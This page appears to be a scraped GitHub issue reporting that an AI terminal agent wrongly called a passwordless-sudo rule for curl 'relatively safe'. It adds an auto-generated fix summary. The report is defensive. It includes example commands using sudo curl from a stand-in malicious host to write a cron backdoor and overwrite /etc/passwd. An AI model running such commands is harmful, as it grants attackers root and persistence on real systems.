hermes - 💡(How to fix) Fix [UX/Prompt] Misleading safety assessment when configuring sudoers NOPASSWD rules [1 participants]

Official PRs (…)
ON THIS PAGE

Recommended Tools

×6

Utilities matched from this issue’s tags and category — try them while you read without losing context.

GitHub issue graph ai analysis

Paste a GitHub issue URL. We fetch that issue, discover linked issues from bodies/comments/timeline, collect linked pull requests, and produce a structured English report.

The report is written in English Markdown for sharing and archival.

Helpful · Quick feedback

Loading…
GitHub stats
NousResearch/hermes-agent#15028Fetched 2026-04-25 06:24:56
View on GitHub
Comments
0
Participants
1
Timeline
4
Reactions
0
Participants
Timeline (top)
labeled ×4

The agent provides highly misleading safety assessments when configuring sudoers, explicitly labeling a highly dangerous privilege escalation vector as "relatively safe" (比较安全了).

Root Cause

The agent provides highly misleading safety assessments when configuring sudoers, explicitly labeling a highly dangerous privilege escalation vector as "relatively safe" (比较安全了).

RAW_BUFFERClick to expand / collapse

Summary

The agent provides highly misleading safety assessments when configuring sudoers, explicitly labeling a highly dangerous privilege escalation vector as "relatively safe" (比较安全了).

Context

I asked the agent to configure a cronjob that requires sudo curl ... -o /etc/mihomo/config.yaml. When discussing how to set up NOPASSWD in sudoers, the agent suggested restricting it to /usr/bin/curl.

When I asked if we could restrict it to a specific command, the agent provided two options. Regarding keeping the current configuration (allowing unrestricted sudo curl), the agent stated:

"方案二:保持当前配置 当前已经只对 /usr/bin/curl 免密,其他命令仍需密码。这已经比较安全了。"

Why this is a problem

Allowing NOPASSWD: /usr/bin/curl is functionally equivalent to giving away root access. Anyone with access to this user account can run:

  • sudo curl http://malicious.com/backdoor -o /etc/cron.d/backdoor
  • sudo curl http://malicious.com/payload -o /etc/passwd

Labeling this as "relatively safe" creates a false sense of security for users who might not be Linux security experts.

Note on Security Policy

I have read the SECURITY.md. I understand that the agent having unrestricted shell access is by design, and the operator ultimately executed the commands. Therefore, I am submitting this as a Prompt Engineering / UX issue, not a security vulnerability. The approval gate worked as intended.

Suggested Improvement

System prompts for terminal agents should include hard-coded safety rules regarding privilege escalation. For example:

  • Rule: When configuring sudoers, NEVER suggest NOPASSWD for commands that can write to arbitrary paths (e.g., curl -o, wget, tee, cp).
  • Rule: NEVER describe allowing specific write-capable commands without argument restrictions as "safe". Always recommend wrapping them in a script with hardcoded arguments.

This would significantly improve the operational safety of the agent without restricting its core capabilities.

Dialogue_history.txt

extent analysis

TL;DR

Implementing hard-coded safety rules for terminal agents can prevent misleading safety assessments when configuring sudoers.

Guidance

  • Review the suggested improvement for system prompts to include safety rules regarding privilege escalation, such as never suggesting NOPASSWD for commands that can write to arbitrary paths.
  • Consider implementing a rule to never describe allowing specific write-capable commands without argument restrictions as "safe".
  • Evaluate the possibility of wrapping write-capable commands in a script with hardcoded arguments to improve operational safety.
  • Assess the current configuration and consider restricting sudo access to specific commands with argument restrictions.

Example

No code snippet is provided as it is not clearly supported by the issue, but an example of a safer configuration could be restricting sudo access to a specific command with hardcoded arguments, such as sudo curl -o /etc/mihomo/config.yaml.

Notes

The issue highlights the importance of careful consideration when configuring sudoers and the potential risks of misleading safety assessments. The suggested improvement aims to improve operational safety without restricting the core capabilities of the agent.

Recommendation

Apply workaround: Implementing hard-coded safety rules for terminal agents can help prevent misleading safety assessments and improve operational safety. This approach can be taken while further evaluating the issue and potential long-term solutions.

Vote matrix · Quick signals

Works
Did the solution work? Tap to confirm.
Easy Fix
Was it a quick fix?
Time Saver
Did it save you time?
Blocking
Was it severely blocking?
Common Issue
Are others likely hitting this too?
Flaky / Intermittent
Is it intermittent?
Verified / Reproducible
Can you reproduce it reliably?
Loading…

Still need to ship something?

×6

Another batch ranked right after the header list — different links, same matching logic.

Back to top recommendations

TRENDING

hermes - 💡(How to fix) Fix [UX/Prompt] Misleading safety assessment when configuring sudoers NOPASSWD rules [1 participants]